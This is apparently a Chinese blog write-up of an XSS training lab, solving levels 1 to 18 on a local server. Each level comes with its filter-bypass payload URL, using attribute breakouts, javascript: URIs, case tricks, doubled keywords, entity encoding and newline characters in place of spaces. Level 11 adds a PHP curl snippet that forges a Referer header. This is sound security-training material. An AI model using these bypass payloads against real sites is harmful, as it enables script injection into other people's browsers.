XSS闯关

参考:
XSS-Filter-Evasion-Cheat-Sheet-CN

level 1

payload:

http://127.0.0.1/xss/level1.php?name=<script>alert(1)</script>

level 2

payload1:

http://127.0.0.1/xss/level2.php?keyword="><script>alert(1)</script>

payload2:

http://127.0.0.1/xss/level2.php?keyword=test"><svg onload=alert(1)>

level 3

单引号逃过htmlspecialchars()
注意闭合后面引号

http://127.0.0.1/xss/level3.php?keyword=test' onmouseover='alert(1)

鼠标经过弹窗,更多事件

level 4

过滤尖角括号

$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);

payload:

http://127.0.0.1/xss/level4.php?keyword=1" onmouseover="alert(1)

level 5

过滤script标签和on关键字

$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);

用a标签代替script,javascript伪协议弹框,
payload:

http://127.0.0.1/xss/level5.php?keyword=1"><a href="javascript:alert(1)">click</a>

level 6

转换大小写
payload:

http://127.0.0.1/xss/level5.php?keyword=1"><a hRef="javascript:alert(1)">click</a>

level 7

关键字替空型过滤,重叠关键字绕过
payload:

http://127.0.0.1/xss/level7.php?keyword=1"><sscriptcript>alert(1)</sscriptcript>

level 8

原始:

javascript:alert(1)

注入到href属性里,过滤了script标签,把script实体编码,

&#115;&#99;&#114;&#105;&#112;&#116;

由于有&和#,再url编码一下,

%26%23115%3B%26%2399%3B%26%23114%3B%26%23105%3B%26%23112%3B%26%23116%3B

payload:

http://127.0.0.1/xss/level8.php?keyword=java%26%23115%3B%26%2399%3B%26%23114%3B%26%23105%3B%26%23112%3B%26%23116%3B:alert(1)

level 9

if(false===strpos($str7,'http://'))

payload里面必须要出现"http://",可以放在alert里,双引号被过滤,用单引号包含。
paylaod:

http://127.0.0.1/xss/level9.php?keyword=java%26%23115%3B%26%2399%3B%26%23114%3B%26%23105%3B%26%23112%3B%26%23116%3B:alert(%27http://%27)

level 10

这道题主要是告诉你要从hidden元素里去发现隐藏的表单,抓包大法好。

http://127.0.0.1/xss/level10.php?t_sort=1" onmouseover="alert(1)" type="text

level 11

这题实战环境鸡肋,因为referer在客户端无法伪造(除插件外)。目前我们说的伪造Referer都是针对服务端的,例如

<?php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,"http://127.0.0.1/xss/level11.php");
curl_setopt($ch, CURLOPT_REFERER, "<script>alert(1)</script>");
curl_exec($ch);
curl_close($ch);

这种伪造对于客户端无意义。

level 12

user-agent,同上

level 13

cookie,除非你能找到同源的地方setcookie,不然没法用

level 14

没做,只看了原理,就是在文件的EXIF头里写payload,然后EXIF信息被输出了。
2.png

以前chrome的一个插件爆过这种洞,chrome插件就是js写的。
工具:exiftool
参考:讲讲EXIF Viewer XSS漏洞的来龙去脉

level 15

调用了angularjs框架,没学过这个,待会学习下,看了别人的wp做的。

echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';

这里包含了一个可控的$str,但是这个必须要遵顼浏览器的同源策略(sop)。所以,这里去包含前面几关的地址。
payload:

http://127.0.0.1/xss/level15.php?src='level1.php?name=<img src=1 onerror="alert(1)">'

1.png

我的理解是和包含一个远程的js有点像,只是要受sop限制。所以,这个payload写到哪里是关键。
参考:ngInclude

level 16

过滤了“空格,/,script“
用%0a,%0d可以代替空格
payload:

http://127.0.0.1/xss/level16.php?keyword=test<img%0asrc=1%0aonerror="alert(1)">

level 17

payload:

http://127.0.0.1/xss/level17.php?arg02=1 onmouseover=alert(1)

在firefox下测试的时候swf没加载出来,chrome可以。

level 18

payload:

http://127.0.0.1/xss/level18.php?arg02=123%20onmouseover=alert(1)

后面两道flash xss看不懂了

标签: none

添加新评论